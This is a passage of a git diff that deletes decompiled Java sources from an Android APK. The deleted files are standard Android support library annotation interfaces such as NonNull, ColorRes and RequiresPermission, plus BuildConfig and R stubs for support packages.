java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface CheckResult { - String suggest() default ""; -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/ColorInt.java b/apk_3230/decompiled_source/sources/android/support/annotation/ColorInt.java deleted file mode 100644 index f67e861..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/ColorInt.java +++ /dev/null @@ -1,11 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.PARAMETER, ElementType.METHOD, ElementType.LOCAL_VARIABLE, ElementType.FIELD}) -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface ColorInt { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/ColorRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/ColorRes.java deleted file mode 100644 index 543848a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/ColorRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface ColorRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/DimenRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/DimenRes.java deleted file mode 100644 index ee004fd..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/DimenRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface DimenRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/Dimension.java b/apk_3230/decompiled_source/sources/android/support/annotation/Dimension.java deleted file mode 100644 index 8d67e2e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/Dimension.java +++ /dev/null @@ -1,23 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE, ElementType.ANNOTATION_TYPE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface Dimension { - public static final int DP = 0; - public static final int PX = 1; - public static final int SP = 2; - - @Retention(RetentionPolicy.SOURCE) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface Unit { - } - - int unit() default 1; -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/DrawableRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/DrawableRes.java deleted file mode 100644 index a34d591..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/DrawableRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface DrawableRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/FloatRange.java b/apk_3230/decompiled_source/sources/android/support/annotation/FloatRange.java deleted file mode 100644 index f2c17b9..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/FloatRange.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE, ElementType.ANNOTATION_TYPE}) -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface FloatRange { - double from() default Double.NEGATIVE_INFINITY; - - boolean fromInclusive() default true; - - double to() default Double.POSITIVE_INFINITY; - - boolean toInclusive() default true; -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/FractionRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/FractionRes.java deleted file mode 100644 index 5df279e..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/FractionRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface FractionRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/IdRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/IdRes.java deleted file mode 100644 index d982c73..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/IdRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface IdRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/IntDef.java b/apk_3230/decompiled_source/sources/android/support/annotation/IntDef.java deleted file mode 100644 index e36c3d2..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/IntDef.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.ANNOTATION_TYPE}) -@Retention(RetentionPolicy.SOURCE) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface IntDef { - boolean flag() default false; - - long[] value() default {}; -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/IntRange.java b/apk_3230/decompiled_source/sources/android/support/annotation/IntRange.java deleted file mode 100644 index 1ebb7d3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/IntRange.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE, ElementType.ANNOTATION_TYPE}) -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface IntRange { - long from() default Long.MIN_VALUE; - - long to() default Long.MAX_VALUE; -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/IntegerRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/IntegerRes.java deleted file mode 100644 index 8d82cae..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/IntegerRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface IntegerRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/InterpolatorRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/InterpolatorRes.java deleted file mode 100644 index ff524d7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/InterpolatorRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface InterpolatorRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/Keep.java b/apk_3230/decompiled_source/sources/android/support/annotation/Keep.java deleted file mode 100644 index 0a8e395..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/Keep.java +++ /dev/null @@ -1,11 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.PACKAGE, ElementType.TYPE, ElementType.ANNOTATION_TYPE, ElementType.CONSTRUCTOR, ElementType.METHOD, ElementType.FIELD}) -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface Keep { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/LayoutRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/LayoutRes.java deleted file mode 100644 index 9f6d7df..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/LayoutRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface LayoutRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/MainThread.java b/apk_3230/decompiled_source/sources/android/support/annotation/MainThread.java deleted file mode 100644 index b1ccc04..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/MainThread.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.CONSTRUCTOR, ElementType.TYPE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface MainThread { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/MenuRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/MenuRes.java deleted file mode 100644 index 0e64155..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/MenuRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface MenuRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/NonNull.java b/apk_3230/decompiled_source/sources/android/support/annotation/NonNull.java deleted file mode 100644 index db8c952..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/NonNull.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface NonNull { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/Nullable.java b/apk_3230/decompiled_source/sources/android/support/annotation/Nullable.java deleted file mode 100644 index fd9b216..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/Nullable.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface Nullable { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/PluralsRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/PluralsRes.java deleted file mode 100644 index b5c69f7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/PluralsRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface PluralsRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/Px.java b/apk_3230/decompiled_source/sources/android/support/annotation/Px.java deleted file mode 100644 index 8ca490f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/Px.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface Px { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/RawRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/RawRes.java deleted file mode 100644 index 84378cd..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/RawRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface RawRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/RequiresApi.java b/apk_3230/decompiled_source/sources/android/support/annotation/RequiresApi.java deleted file mode 100644 index 7766342..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/RequiresApi.java +++ /dev/null @@ -1,14 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.TYPE, ElementType.METHOD, ElementType.CONSTRUCTOR, ElementType.FIELD}) -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface RequiresApi { - int api() default 1; - - int value() default 1; -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/RequiresPermission.java b/apk_3230/decompiled_source/sources/android/support/annotation/RequiresPermission.java deleted file mode 100644 index 4f401e2..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/RequiresPermission.java +++ /dev/null @@ -1,31 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.ANNOTATION_TYPE, ElementType.METHOD, ElementType.CONSTRUCTOR, ElementType.FIELD, ElementType.PARAMETER}) -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface RequiresPermission { - - @Target({ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER}) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface Read { - RequiresPermission value() default @RequiresPermission; - } - - @Target({ElementType.FIELD, ElementType.METHOD, ElementType.PARAMETER}) - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public @interface Write { - RequiresPermission value() default @RequiresPermission; - } - - String[] allOf() default {}; - - String[] anyOf() default {}; - - boolean conditional() default false; - - String value() default ""; -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/Size.java b/apk_3230/decompiled_source/sources/android/support/annotation/Size.java deleted file mode 100644 index 4862bf6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/Size.java +++ /dev/null @@ -1,18 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.PARAMETER, ElementType.LOCAL_VARIABLE, ElementType.METHOD, ElementType.FIELD, ElementType.ANNOTATION_TYPE}) -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface Size { - long max() default Long.MAX_VALUE; - - long min() default Long.MIN_VALUE; - - long multiple() default 1; - - long value() default -1; -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/StringDef.java b/apk_3230/decompiled_source/sources/android/support/annotation/StringDef.java deleted file mode 100644 index cce63c8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/StringDef.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.ANNOTATION_TYPE}) -@Retention(RetentionPolicy.SOURCE) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface StringDef { - String[] value() default {}; -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/StringRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/StringRes.java deleted file mode 100644 index 42021c9..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/StringRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface StringRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/StyleRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/StyleRes.java deleted file mode 100644 index eae25b6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/StyleRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface StyleRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/StyleableRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/StyleableRes.java deleted file mode 100644 index 7fd86a1..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/StyleableRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface StyleableRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/TransitionRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/TransitionRes.java deleted file mode 100644 index 98b3e9a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/TransitionRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD}) -@Documented -@Retention(RetentionPolicy.SOURCE) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface TransitionRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/UiThread.java b/apk_3230/decompiled_source/sources/android/support/annotation/UiThread.java deleted file mode 100644 index d5f1644..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/UiThread.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.CONSTRUCTOR, ElementType.TYPE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface UiThread { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/VisibleForTesting.java b/apk_3230/decompiled_source/sources/android/support/annotation/VisibleForTesting.java deleted file mode 100644 index 8a23c88..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/VisibleForTesting.java +++ /dev/null @@ -1,8 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface VisibleForTesting { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/WorkerThread.java b/apk_3230/decompiled_source/sources/android/support/annotation/WorkerThread.java deleted file mode 100644 index 19d24b3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/WorkerThread.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.CONSTRUCTOR, ElementType.TYPE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface WorkerThread { -} diff --git a/apk_3230/decompiled_source/sources/android/support/annotation/XmlRes.java b/apk_3230/decompiled_source/sources/android/support/annotation/XmlRes.java deleted file mode 100644 index ea25244..0000000 --- a/apk_3230/decompiled_source/sources/android/support/annotation/XmlRes.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -@Target({ElementType.METHOD, ElementType.PARAMETER, ElementType.FIELD, ElementType.LOCAL_VARIABLE}) -@Documented -@Retention(RetentionPolicy.CLASS) -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public @interface XmlRes { -} diff --git a/apk_3230/decompiled_source/sources/android/support/compat/BuildConfig.java b/apk_3230/decompiled_source/sources/android/support/compat/BuildConfig.java deleted file mode 100644 index 92e8089..0000000 --- a/apk_3230/decompiled_source/sources/android/support/compat/BuildConfig.java +++ /dev/null @@ -1,10 +0,0 @@ -package android.support.compat; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BuildConfig { - public static final String APPLICATION_ID = "android.support.compat"; - public static final String BUILD_TYPE = "release"; - public static final boolean DEBUG = false; - public static final String FLAVOR = ""; - public static final int VERSION_CODE = -1; - public static final String VERSION_NAME = ""; -} diff --git a/apk_3230/decompiled_source/sources/android/support/compat/R.java b/apk_3230/decompiled_source/sources/android/support/compat/R.java deleted file mode 100644 index 80434b7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/compat/R.java +++ /dev/null @@ -1,6 +0,0 @@ -package android.support.compat; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class R { - private R() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/coreui/BuildConfig.java b/apk_3230/decompiled_source/sources/android/support/coreui/BuildConfig.java deleted file mode 100644 index ddee546..0000000 --- a/apk_3230/decompiled_source/sources/android/support/coreui/BuildConfig.java +++ /dev/null @@ -1,10 +0,0 @@ -package android.support.coreui; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BuildConfig { - public static final String APPLICATION_ID = "android.support.coreui"; - public static final String BUILD_TYPE = "release"; - public static final boolean DEBUG = false; - public static final String FLAVOR = ""; - public static final int VERSION_CODE = -1; - public static final String VERSION_NAME = ""; -} diff --git a/apk_3230/decompiled_source/sources/android/support/coreui/R.java b/apk_3230/decompiled_source/sources/android/support/coreui/R.java deleted file mode 100644 index f944731..0000000 --- a/apk_3230/decompiled_source/sources/android/support/coreui/R.java +++ /dev/null @@ -1,6 +0,0 @@ -package android.support.coreui; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class R { - private R() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/coreutils/BuildConfig.java b/apk_3230/decompiled_source/sources/android/support/coreutils/BuildConfig.java deleted file mode 100644 index 716e4c3..0000000 --- a/apk_3230/decompiled_source/sources/android/support/coreutils/BuildConfig.java +++ /dev/null @@ -1,10 +0,0 @@ -package android.support.coreutils; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BuildConfig { - public static final String APPLICATION_ID = "android.support.coreutils"; - public static final String BUILD_TYPE = "release"; - public static final boolean DEBUG = false; - public static final String FLAVOR = ""; - public static final int VERSION_CODE = -1; - public static final String VERSION_NAME = ""; -} diff --git a/apk_3230/decompiled_source/sources/android/support/coreutils/R.java b/apk_3230/decompiled_source/sources/android/support/coreutils/R.java deleted file mode 100644 index 07b8021..0000000 --- a/apk_3230/decompiled_source/sources/android/support/coreutils/R.java +++ /dev/null @@ -1,6 +0,0 @@ -package android.support.coreutils; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class R { - private R() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/fragment/BuildConfig.java b/apk_3230/decompiled_source/sources/android/support/fragment/BuildConfig.java deleted file mode 100644 index f655ced..0000000 --- a/apk_3230/decompiled_source/sources/android/support/fragment/BuildConfig.java +++ /dev/null @@ -1,10 +0,0 @@ -package android.support.fragment; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BuildConfig { - public static final String APPLICATION_ID = "android.support.fragment"; - public static final String BUILD_TYPE = "release"; - public static final boolean DEBUG = false; - public static final String FLAVOR = ""; - public static final int VERSION_CODE = -1; - public static final String VERSION_NAME = ""; -} diff --git a/apk_3230/decompiled_source/sources/android/support/fragment/R.java b/apk_3230/decompiled_source/sources/android/support/fragment/R.java deleted file mode 100644 index 5a8d4f6..0000000 --- a/apk_3230/decompiled_source/sources/android/support/fragment/R.java +++ /dev/null @@ -1,6 +0,0 @@ -package android.support.fragment; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class R { - private R() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/mediacompat/BuildConfig.java b/apk_3230/decompiled_source/sources/android/support/mediacompat/BuildConfig.java deleted file mode 100644 index 49f0340..0000000 --- a/apk_3230/decompiled_source/sources/android/support/mediacompat/BuildConfig.java +++ /dev/null @@ -1,10 +0,0 @@ -package android.support.mediacompat; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class BuildConfig { - public static final String APPLICATION_ID = "android.support.mediacompat"; - public static final String BUILD_TYPE = "release"; - public static final boolean DEBUG = false; - public static final String FLAVOR = ""; - public static final int VERSION_CODE = -1; - public static final String VERSION_NAME = ""; -} diff --git a/apk_3230/decompiled_source/sources/android/support/mediacompat/R.java b/apk_3230/decompiled_source/sources/android/support/mediacompat/R.java deleted file mode 100644 index f1fbbe8..0000000 --- a/apk_3230/decompiled_source/sources/android/support/mediacompat/R.java +++ /dev/null @@ -1,6 +0,0 @@ -package android.support.mediacompat; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -public final class R { - private R() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/BuildConfig.java b/apk_3230/decompiled_source/sources/android/support/v4/BuildConfig.java deleted file mode 100644 index 